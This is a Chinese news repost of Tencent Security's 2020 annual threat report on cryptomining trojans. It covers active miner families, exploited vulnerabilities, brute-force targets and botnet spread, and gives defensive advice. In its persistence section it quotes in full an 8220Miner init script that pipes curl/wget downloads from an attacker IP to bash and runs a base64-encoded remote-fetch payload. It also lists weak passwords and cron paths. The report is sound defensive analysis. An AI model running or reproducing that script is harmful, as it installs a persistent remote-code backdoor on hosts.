腾讯安全发布《2020 挖矿木马年度报告》

  • 发表时间:
    , 文章来源:MyZaker, 新闻取自各大新闻媒体,新闻内容并不代表本网立场

    一、报告背景

    2020 年各类数字加密货币价格迎来暴涨,比特币价格一度超过 5 万美元 /BTC,市值达到 9200 亿美元,是 2019 年底的 10 倍之多,达到了历史最高点。同期挖矿木马最偏好的门罗币价格也同步增长 6 倍,这意味着黑客通过进行门罗币挖矿,兑现后收益可达到以往收益的 6 倍。在如此大利益诱惑之下,黑产团伙已闻风而动,纷纷加入了对主机计算资源的争夺,一个典型现象就是,有大量挖矿木马在运行时,会尝试清除竞争对手木马。

    *(photo:MyZaker)

    根据腾讯安全威胁情报中心的检测数据,2020 年挖矿木马上升趋势十分明显。

    *(photo:MyZaker)

    本报告以腾讯安全产品获取的安全事件告警工单数据为基础,统计分析得出 2020 年挖矿木马的活跃家族 TOP 榜,从挖矿木马主要入侵特点、漏洞利用偏好、持久化运行手段等方面展示其主要威胁,预测未来挖矿木马攻击可能呈现的新趋势,给政企机构安全运维团队提供常见挖矿木马的防御清理建议。

    二、挖矿木马风险

    1、整体情况

    1.1 挖矿家族 TOP 榜

    2020 年度挖矿木马家族排名前三的分别为 DTLMiner(永恒之蓝下载器木马)、H2Miner、GuardMiner,榜单中有通过永恒之蓝漏洞传播的为 DTLMiner、NSABuffMiner、NSAGluptebaMiner,有利用 Redis、Hadoop、Weblogic、Drupal、thinkphp 等应用程序漏洞传播的为 H2Miner、GuardMiner、z0Miner、8220Miner 等家族,以及主要通过弱口令爆破进行传播的为 KoiMiner 家族。

    *(photo:MyZaker)

    挖矿木马最容易被感知到的影响就是服务器性能会出现严重下降,从而影响服务器业务系统的正常运行,严重时可能出现业务系统中断或系统崩溃。如下图所未案例,H2Miner 挖矿木马运行时占用了 98% 的 CPU 资源,系统性能已严重受损。

    *(photo:MyZaker)

    其次,挖矿木马威胁事件往往伴随着攻击者组建僵尸网络。感染挖矿木马的同时,服务器已成为黑客控制的肉鸡电脑,除了硬件资源被浪费,黑客还可能利用失陷主机对其他目标进行攻击,包括蠕虫式的横向攻击扩散、对特定目标进行 DDoS 攻击、作为黑客下一步攻击的跳板隐藏攻击者线索或攻击真实意图、将失陷主机作为分发木马的下载服务器或 C2 服务器等等。

    第三,失陷主机可能造成信息泄露。攻击者入侵成功,很多情况下已获得服务器的完全权限,只要攻击者愿意,就可能盗取服务器数据,使受害企业面临信息泄露风险,攻击者也可能在服务器下载运行勒索病毒,随时可能给企业造成更加严重的破坏。

    第四,攻击者入侵安装挖矿木马的同时,还可能在服务器安装后门、服务和计划任务,实现对失陷主机的稳固长期控制。腾讯安全专家分析发现,较多挖矿木马威胁事件发生后,攻击者会添加管理员用户、安装远程控制软件,以及为方便攻击者下次连接开放特定的网络端口。

    鉴于以上这些危害,我们建议政企机构安全运维人员高度警惕挖矿木马感染事件,挖矿可能仅仅是攻击者制造危害的第一步,极可能处于黑客入侵后危害最轻的阶段。

    2、挖矿木马入侵通道

    2.1 利用漏洞攻击

    远程代码执行漏洞(RCE)可以让远程攻击者直接向后台服务器远程注入操作系统命令或者恶意代码,从而控制后台系统,挖矿木马攻击时最常用的远程代码执行漏洞 TOP 统计如下:

    在 2020 年挖矿木马最常利用的 RCE 漏洞排行榜里,WebLogic CVE-2019-2725 高居榜首。

    此外,还有各种未授权访问漏洞被攻击者利用。即需要安全配置或权限认证的地址、授权页面存在缺陷导致攻击者可以直接访问,从而引发敏感信息泄露或恶意代码执行。挖矿木马攻击时常用未授权访问漏洞列表如下:

    *(photo:MyZaker)

    Z0Miner 利用公开仅 15 天的高危漏洞攻击挖矿

    腾讯安全团队于 2020 年 11 月 2 日发现挖矿木马团伙 z0Miner 利用 Weblogic 未授权命令执行漏洞(CVE-2020-14882/14883)进行攻击,本次攻击距离 Weblogic 官方发布安全公告(2020.10.21)之后仅仅 15 天。挖矿木马团伙对于新漏洞武器的采用速度之快,由此可见一斑。这一案例促使安全研究人员需要更快速的响应高危安全漏洞,当面临数量庞大的云主机高危漏洞需要修补时,对安全运维人员构成极大挑战。

    redis 服务器配置弱口令致 SuperManMiner 控制约万台主机挖矿

    腾讯安全威胁情报中心检测到利用 Redis 未授权访问漏洞直接写入计划任务,下载用 golang 语言编写的挖矿木马下载器 superman,根据挖矿算力推测该团伙已控制约 1 万台失陷系统进行门罗币挖矿。

    在本例中,部分政企机构使用 Redis 时,由于没有对 redis 进行良好的配置,如使用空口令或者弱口令等,导致攻击者可以直接访问 redis 服务器,并可以通过该问题直接写入计划任务甚至可以直接拿到服务器权限。

    RunMiner 控制约 1.6 万台主机挖矿

    腾讯主机安全(云镜)捕获 RunMiner 挖矿木马利用 Apache Shiro 反序列化漏洞(CVE-2016-4437)攻击云服务器。RunMiner 挖矿团伙入侵成功后会执行命令反弹 shell 连接到 C2 服务器对肉鸡系统进行远程控制,然后继续下载执行 Run.sh,下载 XMRig 挖矿木马 tcpp 进行门罗币挖矿,病毒通过安装定时任务进行持久化。

    根据 RunMiner 挖矿木马使用的门罗币钱包算力 ( 约 268.6KH/s ) 推算,该挖矿团伙已控制约 16000 台服务器执行挖矿任务。在黑客控制的服务器上还发现多个扫描探测、网络入侵和远程控制工具,该团伙显然是专业黑灰产经营团伙之一。

    2.2 爆破攻击

    用户在设置系统登陆密码时,为了方便记忆往往采用默认的空口令或者非常简单的密码例如 admin、root、test、111111、123456 等,使用这些密码导致黑客可以轻易猜解并登陆,从而入侵系统,部分常见的弱密码如下:

    admin

    admin12

    admin888

    admin8

    admin123

    sysadmin

    adminxxx

    adminx

    root

    roots

    test

    test1

    test123

    test2

    password

    aaaAAA111

    888888

    88888888

    000000

    00000000

    111111

    11111111

    aaaaaa

    aaaaaaaa

    135246

    135246789

    123456

    许多挖矿木马在传播时也会针对系统的弱密码进行爆破攻击,根据腾讯安全 2020 年云上安全报告提供的数据,默认用户名、端口名被爆破攻击的次数达数十亿次之多。常被挖矿木马爆破攻击的服务类型包括 SSH、Mssql、Redis 等,各类型爆破攻击对应的挖矿家族如下:

    MS SQL

    永恒之蓝下载器木马、GuardMiner 、MrbMiner、BasedMiner、贪吃蛇挖矿木马、快 GO 旷工

    SSH 爆破

    永恒之蓝下载器木马、Ks3_Miner、LoggerMiner、8220Miner、DDG

    Redis 爆破

    永恒之蓝下载器木马、H2Miner、GuardMiner、DDG

    Msql 爆破

    Mykings

    2.3 僵尸网络渠道

    利用僵尸网络渠道分发成为挖矿木马越来越偏好的传播手段之一,挖矿木马自身也在组建僵尸网络。僵尸网络在分发安装挖矿木马的同时,还会下载持久化模块、远程控制模块、攻击传播模块、自动更新模块等多种恶意组件,以达到对已感染机器进行长久利用和控制的目的,已失陷的肉鸡系统又会成为新的攻击源,如此不断扩大僵尸网络的规模。

    具有僵尸网络特征的挖矿木马 TOP 榜如下,其中前三位是 DTLMiner(永恒之蓝下载器木马)、H2Miner、GuardMiner 为老牌僵尸网络,由于控制该僵尸网络的幕后黑客团伙仍在不断更新其攻击方法,使其在出现后的数年里仍然保持很高的活跃度。

    在 2020 年新活跃的挖矿木马家族以 Linux 服务器为攻击对象的居多,例如通过 SSH 弱口令攻击的 Outlaw、Prometei,通过 Docker Remote API 漏洞入侵的 TeamTNT,以及通过 Nexus Repository Manager 3 弱密码入侵,利用 Mysql、Tomcat 弱口令爆破,Weblogic 远程代码执行漏洞进行横向扩散的 Sysrv-hello 家族等等。

    *(photo:MyZaker)

    TeamTNT

    TeamTNT 挖矿团伙通过批量扫描公网上开放 2375 端口的云服务器,并尝试利用 Docker Remote API 未授权访问漏洞对云服务器进行攻击。TeamTNT 在成功入侵云服务器后,会隐藏进程,通过安装定时任务持久化,并收集主机上的隐私数据(如主机用户名和密码、RSA 登录凭证、AWS CLI 跨账户授权信息、docker 配置信息)上传到 C2 服务器。与此同时,为了控制更多肉鸡系统,增加挖矿收益,TeamTNT 团伙还利用 SSH 复用连接进行横向移动以感染更多服务器。

    *(photo:MyZaker)

    腾讯安全威胁情报中心检测到 Sysrv-hello 僵尸网络对云上 Nexus Repository Manager 3 存在默认帐号密码的服务器进行攻击。得手后再下载门罗币矿机程序挖矿,同时下载 mysql、Tomcat 弱口令爆破工具,Weblogic 远程代码执行漏洞(CVE-2020-14882)攻击工具进行横向扩散。其攻击目标同时覆盖 Linux 和 Windows 操作系统。

    *(photo:MyZaker)

    腾讯安全威胁情报中心检测到国内大量企业遭遇亡命徒(Outlaw)僵尸网络攻击。亡命徒(Outlaw)僵尸网络最早于 2018 年被发现,其主要特征为通过 SSH 爆破攻击目标系统,同时传播基于 Perl 的 Shellbot 和门罗币挖矿木马。腾讯安全威胁情报中心安全大数据显示,亡命徒(Outlaw)僵尸网络已造成国内约 2 万台 Linux 服务器感染,影响上万家企业。

    此次攻击传播的母体文件为 dota3.tar.gz,可能为亡命徒(Outlaw)僵尸网络的第 3 个版本,母体文件释放 shell 脚本启动对应二进制程序,kswapd0 负责进行门罗币挖矿,tsm32、tsm64 负责继续 SSH 爆破攻击传播病毒。

    *(photo:MyZaker)

    入侵者攻击得逞之后,会通过各种技术手段安装后门、服务和定时任务,添加管理员帐户、开放网络端口,实现对失陷主机的持久控制。

    3.1 Linux 定时任务

    WatchbogMiner 通过多种方式创建定时任务,在指定的时间执行恶意代码:

    1. 通过写入文件创建

    写入文件如下

    /etc/crontab /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/system /etc/cron.d/apache /etc/cron.d/root /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane

    *(photo:MyZaker)

    1. 通过 crontab 命令创建

    *(photo:MyZaker)

    1. 通过 at 命令创建

    *(photo:MyZaker)

    1. 通过修改环境变量 "/home/$me/.bashrc"、"/root/.bashrc" 创建

    *(photo:MyZaker)

    3.2 Linux 系统服务

    1. WannaMine 将恶意代码写入启动目录 /etc/rc.d/init.d 目录下,随系统启动执行。

    *(photo:MyZaker)

    1. 8220Miner 通过写入系统初始化脚本 /etc/init.d/down,将恶意代码添加到启动项。

    echo -e '#!/bin/bash ### BEGIN INIT INFO # Provides: down # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: # Short-Description: down ( by pwned ) ### END INIT INFO ( curl -fsSL hxxp://5.196.247.12/xms||wget-q -O- hxxp://5.196.247.12/xms ) |bash -sh; echocHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn| base64 -d | bash -; lwp-download hxxp://5.196.247.12/xms /tmp/xms; bash/tmp/xms' > /etc/init.d/down

    1. Muhstik 僵尸网络通过写入 /etc/inittab,添加恶意程序到系统启动项。

    *(photo:MyZaker)

    1. 4SHMiner 通过安装服务 /etc/init.d/c3pool_miner 启动挖矿脚本。

    *(photo:MyZaker)

    1. 4SHMiner4SHMiner 通过安装服务 /etc/systemd/system/moneroocean_miner.service 启动挖矿脚本。

    *(photo:MyZaker)

    3.3 Windows WMI

    KingMiner 使用 WMI 创建名为 WindowsSystemUpdate_WMITimer 的计时器,并将事件消费者 WindowsSystemUpdate_consumer 通过事件过滤器 WindowsSystemUpdate _filter 绑定到计时器,从而通过计时器每 15 分钟执行一次恶意脚本代码。

    *(photo:MyZaker)

    挖矿木马针对云上攻击增长较快,企业安全管理人员时刻面临新的挑战。黑灰产业对谋求 非法利益的追求没有止境。受利益驱使,挖矿团伙对新漏洞武器的采用速度越来越快,这对防御方的安全响应能力提出了更高的要求。与此同时,众多网络组件的安全漏洞仍会源源不断涌现。

    旧的挖矿僵尸网络依然活跃,新僵尸网络不断出现,模块化的、持续扩张、挖矿团伙跟僵尸网络相互勾结的情况日趋多见。这种复杂的安全态势使得政企机构难以采用单一技术方案防御和清除威胁。

    四、安全建议

    防御建议

    1. 建议政企机构运维人员对 Linux 服务器的 SSH 服务、Windows SQL Server 等常用主机访问入口设置高强度的登录密码,以对抗弱口令爆破攻击。

    2. 对于 Redis、Hadoop Yarn、Docker、XXL-JOB、Postgres 等应用增加授权验证,对访问对象进行控制。

    3. 如果服务器部署了 Weblogic、Apache Struts、Apache Flink、ThinkPHP 等经常曝出高危漏洞的服务器组件,应及时将其更新到最新版本,并且实时关注组件官方网站和各大安全厂商发出的安全公告,根据提示修复相关漏洞。

    在日常运维中,系统管理员可注意以下内容:

    1、检查有无占用 CPU 资源接近甚至超过 100% 的进程,如有找到进程对应文件,确认是否属于挖矿木马,Kill 挖矿木马进程并删除文件;kill 掉包含下载恶意 shell 脚本代码执行的进程;

    2、检查 /var/spool/cron/root、/var/spool/cron/crontabs/root 等文件中有无恶意脚本下载命令,有无挖矿木马启动命令,并将其删除;

    3、如有发现挖矿相关进程、恶意程序,及时对服务器存在的系统漏洞、弱口令、Web 应用漏洞进行排查和修复。